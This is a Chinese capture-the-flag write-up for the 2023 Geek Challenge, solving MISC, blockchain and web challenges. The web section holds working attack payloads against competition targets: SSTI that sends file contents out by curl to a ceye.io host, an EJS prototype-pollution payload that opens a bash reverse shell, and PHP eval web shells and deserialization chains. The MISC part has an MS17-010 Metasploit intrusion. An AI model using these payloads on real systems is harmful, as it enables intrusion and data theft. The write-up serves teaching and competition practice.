2023极客大挑战-wp
MISC
cheekin
ez_smilemo
利用工具UndertaleModTool打开data.win
搜索flag
可得到一串base64
解码得到flag
sm1le_1s_@_n1ce_g@me
Qingwan心都要碎了
SYC{重庆中国三峡博物馆}
下一站是哪呢
百度识图的到机场为深圳宝安机场
猪猪侠图片分离,得到一张图片
搜索得知为泸州,搜素8月25的航班,得到
SYC{CZ8579_Luzhou}
xqr
二维码异或
可以用steglove异或
这里放一个脚本
from PIL import Image
def resize_image(image, size):
"""调整图像大小"""
return image.resize(size)
def xor_images(image1, image2):
"""异或两张图像"""
pixels1 = image1.load()
pixels2 = image2.load()
xor_image = Image.new('1', image1.size) # 创建一个二值图像
for i in range(image1.size[0]):
for j in range(image1.size[1]):
xor_value = pixels1[i, j] ^ pixels2[i, j] # 异或操作
xor_image.putpixel((i, j), xor_value)
return xor_image
# 加载两张25x25像素的图像
image_path1 = "xqr.png"
image_path2 = "xqr2.png"
image1 = Image.open(image_path1).convert("1") # 转换为二值图像
image2 = Image.open(image_path2).convert("1") # 转换为二值图像
# 调整图像大小为75x75像素
new_size = (75, 75)
resized_image1 = resize_image(image1, new_size)
resized_image2 = resize_image(image2, new_size)
# 异或两张图像并保存结果
result_image = xor_images(resized_image1, resized_image2)
result_image.save("result.png")
DEATH_N0TE
lsb隐写在通道0提取数据
拿去base64解密得到第一段flag
之后提取出图片的像素点得到
哥特体字体解密,对照
得到TkFNRV9vMnRha3VYWH0=
base64解密得到后半段flag NAME_o2takuXX}
SYC{D4@Th_N0t4_NAME_o2takuXX}
DEATH_N1TE
附件给了两个文件,一个webp,一个mp3
先说MP3文件,用rxsstv分析,可以得到部分flag
另一部分,webp图片,打开发现他是动图,感觉和gif图片很像,利用在线网站将它转换为gif文件
转换为gif文件后,对gif文件进行分帧,总共的导880张图片,很明显需要我们拼图了
拼图这里利用到gapshttps://github.com/nemanja-m/gaps
工具使用:
[文章1]: https://blog.csdn.net/m0_62291930/article/details/124139016?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-124139016-blog-119981204.235%5Ev38%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-124139016-blog-119981204.235%5Ev38%5Epc_relevant_default_base&utm_relevant_index=2 “1” [文章2]: https://blog.csdn.net/ZT7524/article/details/119981204?spm=1001.2101.3001.6650.11&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-11-119981204-blog-107585782.235%5Ev38%5Epc_relevant_default_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-11-119981204-blog-107585782.235%5Ev38%5Epc_relevant_default_base&utm_relevant_index=14 “2”
推荐看1
还有报错修复的https://blog.csdn.net/qq_45836474/article/details/105353690
先montage ./flag/*.png -tile 22×40 -geometry +0+0 flag.png
之后gaps run ./flag.png newfalg.png –generations=48 –population=20 –size=48
可以得到一张图片
base64解码得到后半段flag
组合一下SYC{H4xrOtOr_14_Ki114R}
SimpleConnect
由于没有做题可以用的G币,网络上难以获得,但是区块链浏览器上很多信息是公开的,
区块链浏览器中得到
0x4FE327c8f792c3ff30FC4E0BC79476CC7933E4D1
SYC{kajd_u_iaak___hdskj_a}
give_me_Goerlieth
同上类似
0xb08eb1e114877c6577b934b3bb3810a68587d9cb54de5ef0294541dd2f85c787
SYC{rsiiasx_13njsa_13klsa__sa}
窃听风云
一个NTML加密的流量包,流量包内容比较少,就一个流,比较容易看
借鉴https://zhuanlan.zhihu.com/p/52882041
1.在Wireshark中打开包含NTLMv2散列的.pcap文件。
2.通过ntlmssp这一字符串进行数据包筛选,获得身份验证的握手包。
3.第二步过滤后,我们可以得到三个包。查找NTLMSSP_AUTH包。将数据包向下过滤到Security Blob层,就可以得到如下好东西:
4.将域名和用户名复制到文本文档中。
5.深入查找NTLM响应部分,找到NTProofStr字段和NTLMv2的响应。将它们作为十六进制字符串复制到文本文档中。
6.注意,NTLMv2Response是从ntlmProofStr开始,因此从NTLMv2的响应中删除ntlmProofStr。
7.在Wireshark的搜索过滤器中输入ntlmssp.ntlmserverchallenge。就会发现NTLM Server Challenge字段,通常这个数据包是在NTLM_Auth数据包之前。将该值作为十六进制字符串复制到文本文档。
8.将以上的所有值按以下格式保存到crackme.txt:
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
9.找到你最喜欢的密码字典(RockYou? best_1000_passwords2018.txt?)并打开电脑终端运行以下命令:
hashcat -m 5600 crackme.txt passwordlist.txt
SYC{iamjackspassword}
extractMe
利用crc32爆破工具
4 bytes: SYC{ {0x53, 0x59, 0x43, 0x7b}
4 bytes: ck_1 {0x63, 0x6b, 0x5f, 0x31}
4 bytes: s_Us {0x73, 0x5f, 0x55, 0x73}
4 bytes: eful {0x65, 0x66, 0x75, 0x6c}
4 bytes: _som {0x5f, 0x73, 0x6f, 0x6d}
4 bytes: etim {0x65, 0x74, 0x69, 0x6d}
4 bytes: e$_} {0x65, 0x24, 0x5f, 0x7d}
SYC{_cR@ck_1s_Useful_sometime$_}
时代的眼泪
虚拟机登录上密码提示说时代之泪,上网搜猜测跟漏洞的有关,nmap扫描
先查看虚拟机的ip地址
ip add
查看xp系统ip
arp-scan -l #查看局域网中所有ip
我的探测到xp电脑ip为 192.168.86.135
已知被攻击机的ip,利用nmap扫描一下
nmap -sS -sV -Pn 192.168.86.135
nmap -A -sV 192.168.86.135#扫描靶机的所有信息和版本信息
发现开放了445端口
去检测一下漏洞
nmap --script=vuln 192.168.896.135
#--script可以指定脚本
#vuln脚本包含了许多已知漏洞
发现存在cve-2017-0413
结论用到msf
msfconsole
每次启动动画都不一样,还挺有趣
接着search ms17-010
选择3,测试存不存在该漏洞
use 3
选择好,set rhosts 192.168.86.135
之后run
发现存在该漏洞,切为32位的
我们在换到1
use 1
set rhosts 192.168.86.135
run
我们发现攻击成功
输入shell命令
就可以执行命令了
net user q1ngchuan 1234 /add
添加了一个用户,在去登录就发现会有两个用户啦,最后在图片里找到flag
DEATH_N2TE
视频中有很明显的像素点存在
写个脚本提取一下
from PIL import Image
import numpy as np
# 打开图像并转换为RGB模式
image = Image.open('11.jpg').convert('RGB')
# 获取图像的宽度和高度
width, height = image.size
# 将图像转换为数组
image_array = np.array(image)
# 从图像中提取像素,每隔6个像素取一个
extracted_pixels = []
for y in range(1, height, 5): # 从第一个像素开始,每隔6个像素取一次
for x in range(1, width, 5):
pixel = tuple(image_array[y, x]) # 获取像素的RGB值并转换为元组
extracted_pixels.append(pixel) # 将提取的像素存入列表中
# 计算新图像的宽度和高度
width1 = len(range(35, width, 45)) # 计算新图像的宽度
height1 = len(range(40, height, 45)) # 计算新图像的高度
# 创建新的图像对象
img = Image.new('RGB', (width1, height1))
pixels = img.load()
# 将提取的像素放入新图像
index = 0
for y in range(height1):
for x in range(width1):
img.putpixel((x, y), extracted_pixels[index]) # 将提取的像素放入新图像
index += 1
# 保存新图像并显示
img.save("1.jpg") # 保存新图像
img.show() # 显示新图像
分解出来得到一张图片
拉伸一下比较可以清楚看到flag
stage
先输入source
获取合约源码
pragma solidity ^0.8.4;
interface IReceiver {
function getNumber() external view returns(uint256);
}
contract stageGame{
mapping (address => bool) private flag;
mapping (address => bool) public isStage1Completed;
function stage1() external {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size == 0,"EOA must!");
isStage1Completed[msg.sender] = true;
}
function stage2(uint _guess) external {
require(isStage1Completed[msg.sender],"You should complete stage1 first!");
uint number = block.timestamp % 100 + 1;
require(number == _guess, "Wrong number!");
_stage3();
}
function _stage3() private {
uint size;
address addr = msg.sender;
assembly { size := extcodesize(addr) }
require(size > 0,"Contract must!");
uint256 number1;
uint256 number2;
(bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));
require(success,"First call failed!");
number1 = abi.decode(data1, (uint256));
(bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));
require(success2,"Second call failed!");
number2 = abi.decode(data2, (uint256));
require(number1 != number2, "Must return different Number!");
flag[tx.origin] = true;
}
function check(address addr) external view returns(bool){
return flag[addr];
}
}
包含了三个函数和两个状态变量。
•
stage1()
: 这个函数用于用户完成第一阶段。它使用了extcodesize
来检查调用者是否是外部账户,如果是,则将调用者添加到isStage1Completed
映射中。•
stage2(uint _guess)
: 这个函数用于用户完成第二阶段。首先需要检查用户是否已经完成了第一阶段,然后生成一个随机数,并要求用户猜这个随机数。如果用户猜对了,将调用私有函数_stage3()
。•
_stage3()
: 这是一个私有函数,用于用户完成第三阶段。它首先使用extcodesize
检查调用者是否是合约账户,然后通过调用外部合约的getNumber()
函数来获取两个数字,并要求这两个数字不相等。最后,将调用者的原始地址添加到flag
映射中。•
check(address addr)
: 这个函数用于检查特定地址是否已获得标记。•
flag
和isStage1Completed
:这两个状态变量用于记录用户的完成状态和标记状态。
上面gpt写的,来说一下我的思路:总共有3关
第一关,如果 extcodesize
返回的大小为 0,表示调用者是一个外部账户,那么用户就完成了第一阶段,将size设置为0即可
第二关,就是让你猜数,猜对了才能过,借用合约中设置随机数的代码就能过
uint number = block.timestamp % 100 + 1;
第三关借鉴https://ranwen.de/posts/2023-09-17-metatrust23/
exp
contract Exp {
IStageGame public stageGame;
constructor(address _address) {
require(_address != address(0), "StageGame address cannot be the zero address.");
stageGame = IStageGame(_address);
stageGame.stage1();
}
function guessNumber() external view returns (uint256) {
uint256 gasBefore = gasleft();
uint256 dummy;
assembly {
dummy := sload(0x66666)
}
uint256 gasAfter = gasleft();
uint256 gasConsumed = gasBefore - gasAfter;
return (gasConsumed > 2000) ? 0 : 1;
}
function hack(address addr) public returns (bool) {
require(addr != address(0), "Address cannot be the zero address.");
uint256 number = block.timestamp % 100 + 1;
stageGame.stage2(number);
return stageGame.check(addr);
}
}
打通之后
在这里可查看私钥、
得到flag
SYC{qOBPkOKlzycuDRTBSjfz}
WEB
###easy_php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
?syc=Welcome to GeEK 2023!&lover=2e4
qw[]=1&yxx[]=2&SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!
Ezhttp
unsign
<?php
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1="system";
public $interesting="cat /f*";
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
echo serialize($a);
n00b_Upload
文件上传,上传1.png内容为
<=eval($_POST[1]_)?>
抓包,改后缀为1.php
链接蚁剑
ctf_curl
-T “/tmp/Syclover” 123.57.236.154
flag保卫战
需要双线程脚本去跑
jwt需要伪造 密钥为123456
import requests
import threading
BASE_URL = ''
UPLOAD_URL = BASE_URL + 'upload'
CSRF_URL = BASE_URL + 'new-csrf-token'
FLAG_URL = BASE_URL + 'flag?pass=aaaa'
HEADERS = {
'Cookie': 'jwt-token=伪造后的'
}
def get_csrf_token():
response = requests.get(url=CSRF_URL, headers=HEADERS)
content_length = response.headers.get('Set-Cookie')
csrf_token = content_length.split('yak_csrf=')[-1].split(';')[0]
return csrf_token
def upload_file():
while True:
csrf_token = get_csrf_token()
file = {'filename': ('test.txt', 'a', 'text/plain')}
data = {'yak-token': csrf_token}
headers = {'Cookie': f'jwt-token={HEADERS["Cookie"]}; yak_csrf={csrf_token}'}
try:
response = requests.post(url=UPLOAD_URL, headers=headers, files=file, data=data)
response.raise_for_status()
print(response.text)
except requests.exceptions.RequestException as e:
print(f'Error during file upload: {e}')
def get_flag():
while True:
csrf_token = get_csrf_token()
data = {'yak-token': csrf_token}
headers = {'Cookie': f'jwt-token={HEADERS["Cookie"]}; yak_csrf={csrf_token}'}
try:
response = requests.get(url=FLAG_URL, data=data, headers=headers)
response.raise_for_status()
print(response.text)
except requests.exceptions.RequestException as e:
print(f'Error while getting flag: {e}')
if __name__ == "__main__":
upload_thread = threading.Thread(target=upload_file)
flag_thread = threading.Thread(target=get_flag)
upload_thread.start()
flag_thread.start()
upload_thread.join()
flag_thread.join()
脚本需要跑一会,会得出flag
klf_ssti
需要外带,
{{url_for.__globals__.__builtins__['__import__']('os').popen('curl http://`cat /app/f*`.1q1mow.ceye.io/').read()}}
这里外带有些小问题,带出来的都是小写字母,但flag里面有大写字母,我当时带出来了,交了好几遍都不对,最后带了base64发现base64是小写才发现了问题,最后对照base64,几个一组一组的解出来
真离谱。。。。,希望有师傅能帮忙解答一下,万分感谢,很疑惑
带base64的命令:
{{url_for.__globals__.__builtins__['__import__']('os').popen('curl http://`cat /app/f*|base64`.1q1mow.ceye.io/').read()}}
###ez_remove
这到题了解到了一个新知识,S可以解析16进制,也就是payload里为什么要把小写s改为S
O:3:"syc":2:{S:5:"6c6f766572";s:64:"file_put_contents('./aaaa.php','<?php eval($_POST["aaaa"]);?>');";}
写进去马之后链接蚁剑
记得改为http
连接上之后,在根目录找到flag,发现里面啥内容没有
右键打开蚁剑终端
得到flag
Pupyy_rce
利用随机数组去读取flag
多刷新几次就好了
show_source(array_rand(array_flip(scandir(getcwd()))));
famale_imp_l0ve
打开环境是一个文件上传
查看源码发先藏了一个提示/include.php
访问之后发现
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
查看上传页面,只允许上传zip文件,很明显考点就是zip文件上传了
很明显看出来这是个文件包含,但是将传递的文件名后面强制加了一个".jpg"
的后缀,导致了无法任意文件包含。
https://blog.csdn.net/Fly_hps/article/details/86609730借鉴这篇文章
我们先创建一个php文件
内容为
<?php system("cat /f*");?>
后缀改为.jpg
压缩为zip文件
将该文件上传
会给提示路径如url/upload/php6.zip
进入到include.php页面
利用phar://伪协议
?file=phar://upload/php6.zip/php.jpg
得到flag:SYC{sLeHGeVeExaS7yV5aC}
类似的源码还有:
<?php
$file = $_GET['file'];
include($file.".jpg");
?>
zip也可以
http://php.net/manual/zh/wrappers.compression.php
其中有一段用法:zip://archive.zip#dir/file.txt
you konw flask?
在robots.txt
发现/3ysd8.html
访问,查看源代码,发现key
得知是一个随机的key,需要爆破
import base64
for i in range(1, 10000):
encoded_number = base64.b64encode(str(i).encode('utf-8')).decode('utf-8')
secret_key = 'wanbao' + encoded_number + 'wanbao'
print(secret_key)
跑出100个key,放到文本里,利用工具跑出真正的key
得到真正的key是wanbaoMw==wanbao
去解密
python3 flask_session_cookie_manager3.py decode -s "wanbaoMw==wanbao" -c "eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxIiwidXNlcl9pZCI6Mn0.ZUTozw.65FuyjKjz-vOw3YgYJ83vsfp4xs"
{'is_admin': False, 'name': '1', 'user_id': 2}
加密
python3 flask_session_cookie_manager3.py encode -s "wanbaoMw==wanbao" -t "{'is_admin': True, 'name': '1', 'user_id': 2}"
eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6IjEiLCJ1c2VyX2lkIjoyfQ.ZUTxYg.Sp9usxsjRLov7Pb_4kSLx3hjp9U
替换网页原来的session刷心一下,得到flag
Ez_path
第一种做法
https://joz0hijkme83jba02jeuresfa.node.game.sycsec.com/upload
title=/f14444&content=/
title对应的是文件名,content对应目录
第二种做法
做题的时候发现可以对文件内容,就想着试试算pin码
试了试,绝对可行
网卡:da:95:db:1d:ba:40记得转10进制为:240337161140800
/proc/sys/kernel/random/boot_id:31e70710-1d09-4cda-bc57-a7a012a89ef7
/proc/self/cgroup:docker-68c1c29b5495858c4060e0975f5afc0faedac3cf6176a98caa80d4b56af9516e.scope
脚本算pin码:
得到
122-777-694
登入console,拿到flag
雨
访问/hint可获得提示
jwt伪造,密钥为VanZY (根据提示得到)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTk1ODUwODB9.6qHthpTAmrnDswAwlZ-zZR2U1oKJFY3vx8RsbanyJ_Q
伪造之后访问source获得源码
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super = {};
var safecode = function (code){
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|+|*/ig;
return !validInput.test(code);
};
app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep:true});
}
res.send("welcome to code");
});
app.all('/hint', (req, res) => {
res.type('html');
res.send("I heard that the challenge maker likes to use his own id as secret_key");
});
app.get('/source', (req, res) => {
res.type('html');
var auth = req.cookies.auth;
jwt.verify(auth, jwt_secret , function(err, decoded) {
try{
if(decoded.user==='admin'){
res.sendFile(path.join(__dirname + '/index.js'));
}else{
res.send('you are not admin ');
}
}
catch{
res.send("Fuck you Hacker!!!")
}
});
});
app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null){
res.send("please input name");
}else {
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);
}else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
}
else{
res.render('index', {name: req.body.name});
}
}
}
});
app.get('/',(req, res) => {
res.type('html');
var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
res.cookie('auth ',token);
res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));
原型链污染在code路由
传{“constructor”:{“prototype”:{“userrole”:”Superadmin”}}}伪造为superadmin
之后在/create路由弹shell
{
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/ip/9999 0>&1"');",
"client":"true"
}
},"name":"curl"}
curl http://
ls
ceye也可以
klf_2
命令char+全角字符转换
https://djb55f8xt99xvckg0uag3dojh.node.game.sycsec.com/secr3ttt?klf={% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(glob=a,als=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set impo=(a,a,dict(imp=a,ort=a)|join,a,a)|join() %}
{% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set sub=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set o=(dict(o=a,s=a))|join()%}
{% set en=(dict(po=a,pen=a))|join()%}
{% set ca=(dict(who=a,ami=a))|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set re=(dict(re=a,ad=b))|join()%}
{% set cc=(dict(ch=a,r=a))|join()%}
{%set get=dict(get=a)|join%}
{%set ch=()|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(built)|attr(geti)(cc)%}
{%set cmd=(ch(9%EF%BC%99),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%96),ch(3%EF%BC%92),ch(4%EF%BC%97),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%92),ch(1%EF%BC%91%EF%BC%92),ch(4%EF%BC%97),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93))|join()%}
{{a|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(en)(cmd)|attr(re)()}}
EzRce
无数字字母rce
网上搜到p神的脚本直接蚁剑连接
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
eval($___[_]);
蚁剑链接,访问flag
发现没权限读取
find / -perm -4000 2>/dev/null
发现可以利用find提权
find /tmp -exec cat /flag ;
读到flag
SYC{ThE_RCe_is_S0_Eas1ly_DD!}
Changeit
查看页面可以看到用户名和密码
登录后要求设置头像和其他信息,尝试上传图片后发现身份不允许,查看cookie,发现后token
猜测是jwt伪造
尝试将admin检测改为true
发现不可以
猜测有密码加密
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOiJ0cnVlIn0.qs6tjnaghMXiTsvqEMUauz_JGzxxKdtaXPGVtQUEHek
伪造成功上传图片没有任何限制,直接上传php马,连不上
结合源码里的
是个伪随机的生成文件名,文件名其实我们可以知道,通过爆破字符串可以的值上传的文件名
import requests
import time
import os
BASE_URL = ' url '
CHANGE_URL = BASE_URL + 'change.php'
# 修正 PHP 代码并添加 <?php 标签
PHP_CODE = '<?php eval($_POST["aaaa"]); ?>'
FILE_PAYLOAD = {'filename': ('1.php', PHP_CODE)}
def post_change_request():
response = requests.post(CHANGE_URL, FILE_PAYLOAD)
response.raise_for_status()
def generate_time_file():
current_time = int(time.time())
with open('./1.txt', 'w') as f:
for i in range(current_time - 90, current_time + 90):
f.write(str(i) + 'n')
def execute_php_script():
os.system('php test.php')
def check_and_print_payload():
with open('./2.txt', 'r') as f2:
for line in f2:
data = line.strip()
payload = BASE_URL + 'upload/' + data + '.php'
print(payload)
response = requests.get(payload)
if response.status_code == 200:
print(data)
break # 修正了缩进并添加了对 break 语句的注释
if __name__ == "__main__":
try:
post_change_request()
generate_time_file()
execute_php_script()
check_and_print_payload()
except requests.exceptions.RequestException as e:
print(f'Error during script execution: {e}')
跑得上传的文件名,蚁剑连上得到flag
Ezpython
题目描述给了污染,很明显了
贴个源码
import json
import os
from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string
app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False
class hhh(User):
def __init__(self):
self.username=""
self.password=""
registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")
@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")
@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")
@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for('static',filename='weixin.png')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")
审计源码发现在merge存在原型链污染
在注册页面进行污染
"username" : "admin",
"password" : "111",
"__init__":{"__globals__":{
"User":{
"u0069u0073u0076u0069u0070":1}}}
}
发包,登录
登录成功之后访问flag路由
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
这里要求传入的num不是123456789,但转为int类型之后有要求等于123456789,长度还要小于10.想着转全角即可绕过
传入flag?num=123456789
最后在源码看到flag
ezphp
哈哈,源码长的我原地去世
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');
class Me {
public $qwe;
public $bro;
public $secret;
public function __wakeup() {
echo("进来啦<br>");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;
if($this->bro===$this->secret){
$bb = $this->qwe;
return $bb();
}
else{
echo("错了哥们,再试试吧<br>");
}
}
}
class her{
private $hername;
private $key;
public $asd;
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}
public function find() {
echo("你能找到加密用的key和她的名字吗?qwq<br>");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!<br>");
$file=$_GET['file'];
if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!<br>");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!<br>");
}
}
else{
echo("兄弟怎么搞的?<br>");
}
}
}
class important{
public $power;
public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}
class useless {
private $seeyou;
public $QW;
public $YXX;
public function __construct($seeyou) {
$this->seeyou = $seeyou;
}
public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);
if (!preg_match('/key.php/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了<br>");
$a = isset($_GET['a'])? $_GET['a']: "" ;
if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('<br>');
if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}
if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???<br>");
}
}
else {
echo("快帮我找找她!<br>");
}
?> 快帮我找找她!
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%
3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67
%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';
$a->qwe->asd->power->YXX = urldecode($c);
$d =
'%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%
c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d
%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';
$a->qwe->asd->power = new useless($args);
$a->qwe->asd->power->QW = urldecode($d);
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));
读取key之后会得到一长串字符
复制下来,长的离谱,本来打算贴的,一贴直接顶我好几篇文章的长度了,不贴了需要去掉开头和末尾的*/
base64转图片
得到
知道了key是9,name是momo
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
